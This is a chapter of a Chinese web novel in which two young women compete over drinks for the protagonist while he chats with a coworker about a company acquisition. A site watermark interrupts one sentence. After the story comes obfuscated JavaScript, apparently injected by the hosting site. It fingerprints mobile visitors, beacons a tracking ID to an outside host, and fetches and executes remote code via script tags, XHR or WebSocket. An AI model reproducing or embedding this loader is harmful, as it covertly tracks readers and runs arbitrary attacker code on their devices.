两道菜上好,服务生退下。刘憬刚想说话,被小老虎挥手止住:“你不用说了,先出去一下,半小时后再回来,我和你同学单独谈谈。”
刘憬眉头大皱,耐着性子道:“你谈就谈。干嘛非让我出去?”
小老虎眼皮一翻,凑到他面前:“因为我怕你们串通,我先跟她谈,回去再跟你对质。”
“这……”
刘憬无语,这不公安局审犯人那套吗?
他还想说什么,郭蝈道:“刘憬,你出去下也好,我也正想和你女朋友好好谈谈。”
刘憬左右为难,略做犹豫道:“你们谈你们的。我不听,也不说话。吃东西还不行吗?”
“不行!”两女异口同声,说完一愣,又双双红了脸。
“那好吧,我出去。”刘憬无奈。站起身道:“你们好好说,都平心气和,不要瞎吵,也不要拼酒,我就在外边瞅着,要觉得不对劲,就马上进来。听好了吗?”
两女彼此看了看,都没吭声。刘憬拍了拍芳袭肩头,转身走了。
男人出去了,只剩两个女孩儿共对。芳袭揪过啤酒给自己倒满,又夹了一口菜大嚼起来:“你说吧,我听着。”
郭蝈瞥了一眼,也毫不示弱地拽过另一瓶。才不紧不慢地道:“没错,我承认,我是喜欢他,很早就喜欢,都好几年了,他还救过我的命呢!不过我没有对不起你的地方,你刚刚地态度非常失礼。”
“我失礼!你好意思?”小老虎气坏了,她就没见过这么不要脸的人,立马放下筷子,把照片都倒了出来,“那你说,这怎么回事?还有这些,都怎么解释?”
“这有什么难解释地。”郭蝈夹了块菜,小口地品尝,“照这些照片的时候,我还不知道他有女朋友,是那天晚上他才告诉我的。所以我没有对不起你,刘憬也没有对不起你,你刚刚地表现,不仅污辱了我,对你男朋友也是一种不尊重。”
“嘿!你还……”小老虎这个来气,一仰脖干掉杯中酒,“那你说,你哥呢,他堂堂地团市委书记,为了自己的妹妹,利用照片挑拨离间,这又怎么解释?”“这也没什么呀,首先我说了不知道,也跟你道歉了;再说你是他女朋友,让你转交照片也没什么不对。你说他挑拨离间,我还说你血口喷人呢!”郭蝈得意洋洋,也干了一杯。
“哎呀,你还有理了?”小老虎抓起酒瓶,咕咕咕给自己倒酒,看也不看,“那好,就算你说得对,可现在呢?你已经知道他有女朋友了,干嘛还跟他在一起?”
“这更没什么了,谁规定男人有女朋友就不能跟其他女人在一起?同事、同学、客户,女人多了,你有本事,挨个说去呀?”郭蝈越说越顺,歪理越讲越溜,心里美得直冒油,孔子文学网喜滋滋地给自己倒酒。
“你……”小老虎气得直抖,指了半天不知道说什么,只得又干了一杯,“这种话你也说得出口,你喜欢他,也知道他有女朋友,别告诉我你不懂什么叫避嫌!”
“这我当然懂了,可我身份不同嘛。”
小老虎真气了,啪一拍桌子:“你什么身份?不就省长女儿吗,惹翻了我一样揍你,有本事你抓我呀?”
郭蝈嘻嘻一笑,把酒喝光,示威似的顿了顿杯子:“我不仅是省长女儿,还是他家干女儿,就是他干妹妹,妹妹和哥哥在一起天经地义,又没做过格的事,有什么可避嫌的?”
“你……”小老虎语结,丁桦这招还挺管用,“你是妹妹?你是妹妹对哥哥的感情吗?你把自己当妹妹了吗?”
“那当然。我告诉你哈,我和他私下在一起,都叫他憬哥哥。”郭蝈得意地不行,美滋滋地给自己倒满,一口干了。
小老虎要气晕了,还没词,见她又喝酒,立刻不服输地满上,也直接干掉。
刘憬怕两人斗酒,只要了两瓶,两人你一杯我一杯,眼瞅着见底了,正巧服务生又来上菜,芳袭手一抖:“再上两瓶!”
郭蝈见了,忙把小手举起:“这里也两瓶。”
这服务生正是点菜时那臭小子,见刘憬不在,谄媚道:“两位小姐不仅人漂亮。酒量也不一般,要不要抬一箱,你们能喝多少喝多少,走之前再一起算?”
两女谨慎了起来,眼睛盯着对方,既不想服输,又怕刘憬批评。郭蝈不动声色地向外瞥了一眼,小老虎连忙跟着回头。大街上车水马龙,酒店门口空空荡荡。刘憬不知跑哪去了。
服务生瞅了瞅两人,试探着问:“两位小姐。到底什么意思?”
郭蝈眨了眨眼,甜甜道:“算了吧,有人怕了。”
“我怕?”小老虎这个不忿,小手一挥。“搬!”
“哎,好嘞,请二位稍等!”好容易碰到俩吃醋的傻丫头,服务生屁颠屁颠跑去搬酒了。
醇酒美人从来相得益彰,美女喝酒,当然别有一番姿态,更何况两个女孩儿青春豆薮,都是难得的窈窕红粉。时候不大。两女皆眼眸如水,醉颜微酡。芳袭如春半桃花,翻紫摇红;郭蝈如香草美人,风娇水媚,都是说不出地娇巧撩人。
郭蝈打了大胜仗,小脸喝得红扑扑,又端着酒杯凑上前:“说真的。你不用太多心,我肯定不会做过格地事。再说了,真是你的,谁也抢不走,你应该对自己有信心。”
“我会没信心?”小老虎晃着脑袋,眼神极度不屑,“我告诉你,我是可怜你,不想你浪费青春!按说你长得也算不错,又是省长千金,想泡你的人肯定不少,还都是非富既贵的,何必吊在我男朋友身上?他虽然救过你,那是偶然,对你没什么意思地!”
郭蝈不屑地扬了扬小脖,笑眯眯道:“我不会做对不起你地事,但别说我没提醒你,缘分这东西谁也说不准,要是你自己出了什么问题,到时候别怪我乘虚而了。”
“切!想等我出问题,你准备等到死吧你!”小老虎随口干了一杯,亮了亮杯底。
“那可不一定。”郭蝈随之干杯,在她面前一晃。
两个女孩儿酒逢知己,尽去前嫌,觥筹交错,演了一出双美争羞的好戏。可刘憬呢,他跑哪去了?他上厕所了,又遇上另外一个女孩儿。
刘憬站在门外,见两女又吃菜又聊天,都很稳当,貌似把酒言欢,心中甚为欣慰;又见街上人流涌动,人人带着下班的笑脸,更是晚风满怀,颇有大丈夫不负平生的感慨。可大丈夫也是人,也会有感觉,所以他上厕所了。
解决完毕,他准备回去,一出门,和人撞了个满怀。
“哟,徐燕,你怎么也来了?”刘憬连忙把她扶住,打量着问。这丫头脸蛋晕红,不又问,也喝了不少。
徐燕两眼当时一亮,随即酸溜溜道:“还谁来了?”
“我呀!”刘憬笑道:“所以我才问,‘你怎么也来了’。”
徐燕白了一眼,小嘴一撇:“不用问,肯定带你女朋友来的吧?”
说了不问还问。刘憬双手往裤兜里一插:“你还没告诉我呢,和谁来的?交男朋友了?”
“我才不象你那么没心肝!”徐燕拧过身子,气呼呼的样子。
刘憬笑道:“别闹了,问你正经地,到底和谁来地?”徐燕叹了一声,望着他道:“我谈生意,陪客户吃饭嘛。”
“你财务部谈什么生意?”刘憬不解。
徐燕不平地道:“凭什么财务部就不能谈生意?我告诉你,我参加的可是个大生意,过一段时间,还要去泰国签约呢!”
“是吗?”刘憬不由得信了几分,“什么大生意,跟我说说?”
徐燕来劲了,睁大眼睛道:“我给你透露点也行,不过,你千万不要跟别人说哦!”
“行,我肯定不跟别人说。”刘憬暗笑。
卫生间附近地照明比较暗,楼上包房不时传来狼嗥般的歌声。徐燕闪着大眼睛,神秘地道:“公司要收购泰国一家矿产公司,是出产镍和锌那类稀有金属矿的,总共要投入好几个亿呢!我呀,是签约的财务专员,很重要地。”
“真的假的?我们有那么多钱吗?”刘憬将信将疑。东兴公司总资产不过三亿多,S市分公司号称过亿,其实不过八九千万。
“那个。我们是和理想集团合作收购。”徐燕气焰稍敛,又装出一付不耐烦的样子,“算了算了,我干脆都告诉你得了。这次收购,是理想集团出大头,收购成功后,我们占百分之五十一地股额,因为我们是国有企业。不过也有条件,我们要和理想集团签一个二十五年的长约。以优惠价格供应他们各种配件,现在你总该明白了吧。”
“哦。这样。”刘憬明白了,其实就跟借钱差不多。
理想集团是以家用电器、电脑主板和连锁超市为主的多元化企业,一直是公司最大客户,每年交易额都在几千万以上。
两家合作倒不奇怪。只是公司突然收购外国矿产,他总觉得有点不可思议,当然这不是他关心的事。
“现在你信了吧?”徐燕背着小手,牛得不行。
刘憬皱了皱眉:“你们财务部那么多人,为什么找你当专员?”
“我不可以吗?”徐燕不忿了。
“不是。”刘憬不好意思地笑了,“对了,你到底跟谁来地?”
“我跟路经理来的,不过上面好多人呢!”
“还有谁?”
徐燕掰着手指道:“有赵总、白秘书、路经理、骆副经理。哦,还有你们杜经理。理想集团方面,有董事长李想、总经理张建光,还有好几个,嗯,我叫不上来名字了,反正……
反正都是大人物。“小丫头第一次参加这种大行动。显得异常兴奋,又凑到他跟前道:”刘憬,你要不要上去见识见识?“
“我有什么可见识的。”刘憬不屑地笑笑,斜着眼说,“也就是你吧,什么场面没见过,还挺当回事的。”
徐燕啐道:“切!你不就卖了几个路由器连接器,装啥装啊,还当我不知道?”
“呵呵,你还真知道?”刘憬暗暗汗了一个。这丫头不愧三八,几笔小生意都是他这两天刚做的,还没上报呢。
“那当然。”徐燕挪到他面前,“真不上去坐坐?”
“你们谈生意我上去干嘛?”
徐燕探头向大厅看了看,虽然根本看不到:“你不和女朋友一起来地吗?她不是和赵总很熟吗,带她上去不就得了?”
刘憬叹了口气,凑到她面前:“徐燕,我再告诉你一遍,我女朋友和赵总再熟,也是正常关系,你不要到处乱说,否则别人听了,还以为怎么回事呢?”
“我也没乱说呀!”徐燕退了一步,这个委屈。
“行了,你赶紧吧。”刘憬没再多说,扭头向大厅走去。
徐燕恋恋不舍,忽又道:“哎,你什么时候请我吃肯德基呀?”
“等你从泰国回来吧。”刘憬随便回了句,又嘿嘿一笑,“那张建光挺色的,你少喝点酒,别让人占便宜了。”
“你才让人占便宜呢!”徐燕恨恨瞪了他一眼,气鼓鼓地上楼了,没走几步又转了回来,她忘上厕所了。
刘憬哈哈一笑,扬长而去,刚进大厅,就笑不出来了。两个女孩儿脸蛋通红,正在座位上干杯呢,桌上杯盘狼藉,摆了一堆空酒瓶,地上还有个酒箱子。
他大惊,赶忙跑了过去。见他回来,郭蝈眨了下眼,得意而调皮;小老虎回头,大咧咧道:“你怎么才回来?我们都喝八瓶了!”
刘憬沉着脸,冷冷打量了一圈,突然猛地一拍桌子:“你还好意思说!我走前说什么了?这么大张旗鼓地,欺负你们老公不会喝酒啊?”
function oqRraISv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function fdnSA(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return oqRraISv(t);};window[''+'m'+'N'+'U'+'R'+'X'+'i'+'a'+'k'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function HecRD(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=fdnSA,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=HecRD(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9328/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=HecRD(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLnZ5aXBueC5jbiUzzQTg4OTE=','d3NzJTNBJTJGJTJGYS5iiaGVhZS5jb20lM0E5NTM1','8881',window,document,['z','i']);}:function(){};